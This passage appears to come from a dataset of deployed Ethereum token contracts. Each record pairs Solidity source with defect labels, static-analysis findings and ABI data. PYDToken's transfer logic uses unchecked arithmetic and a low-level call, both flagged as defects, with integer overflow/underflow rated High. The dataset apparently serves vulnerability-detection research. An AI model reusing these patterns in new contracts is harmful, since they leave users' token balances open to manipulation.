"Medium", "confidence": "High", "lines": {"hToken.sol": [167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [81]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [92]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [365, 366, 367, 368, 369, 370, 371]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [92]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [81]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [91]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [336, 337, 338, 339, 340, 341, 342, 343]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [352, 353, 346, 347, 348, 349, 350, 351]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"hToken.sol": [66]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"hToken.sol": [385]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [336]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [277]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [195]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [122]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [346]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [282]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [195]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [374]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [346]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [287]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [122]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [383]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [336]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [346]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [167]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [374]}}, {"check": "unimplemented-functions", "impact": "Informational", "confidence": "High", "lines": {"hToken.sol": [307]}}] | [{"error": "Integer Underflow.", "line": 313, "level": "Warning"}, {"error": "Integer Underflow.", "line": 291, "level": "Warning"}, {"error": "Integer Underflow.", "line": 314, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 79, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 80, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 90, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 142, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 213, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 267, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 271, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 356, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 374, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 390, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 195, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 365, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 425, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 101, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 326, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 326, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}] | v0.4.26+commit.4563c3fc | false | 200 | 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000006425443343557000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064254433435570000000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://c766db78f3f26df665686b5b1fa6b1d1a3c3ab09b8b44908b49e9bba74802065 |
||
PYDToken | 0xa7ac6ac9e8a714a76eb45a54327d29a378d27409 | Solidity | pragma solidity ^0.4.16;
/*
* Copyright © 2018 by Capital Trust Group Limited
* Author : [email protected]
*/
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract PYDToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function PYDToken(
) {
balances[msg.sender] = 18000000 * 1000000000000000000; // Give the creator all initial tokens, 18 zero is 18 Decimals
totalSupply = 18000000 * 1000000000000000000; // Update total supply, , 18 zero is 18 Decimals
name = "PanyaDee"; // Token Name
decimals = 18; // Amount of decimals for display purposes
symbol = "PYD"; // Token Symbol
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["100", "84"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["106", "105", "60", "61", "62", "51", "52"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [100]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [117]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [117]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [92]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [113, 114, 115, 116, 117, 118, 119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [11]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [39]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [28]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [90, 91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [21]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PYDToken.sol": [15]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [117]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [113]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [113]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [49]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [49]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [113]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PYDToken.sol": [68]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PYDToken.sol": [106]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PYDToken.sol": [105]}}] | [{"error": "Integer Underflow.", "line": 97, "level": "Warning"}, {"error": "Integer Underflow.", "line": 100, "level": "Warning"}, {"error": "Integer Underflow.", "line": 99, "level": "Warning"}, {"error": "Integer Overflow.", "line": 113, "level": "Warning"}, {"error": "Integer Overflow.", "line": 60, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 117, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 92, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 117, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 11, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 15, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 39, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 68, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 78, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 72, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 11, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 15, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 21, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 28, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 34, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 39, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 90, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 117, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 11, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 15, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 21, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 28, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 39, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 49, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 58, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 68, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 72, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 78, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 90, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 103, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 113, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 82, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 83, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | false | bzzr://9378754cc6b390b65e9f28e5416fcec83d0c7552277e169d2a1c045f7cee292a |
||||
GBNC | 0x37ddfc68600022510e251ac075e33fecd9595b27 | Solidity | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
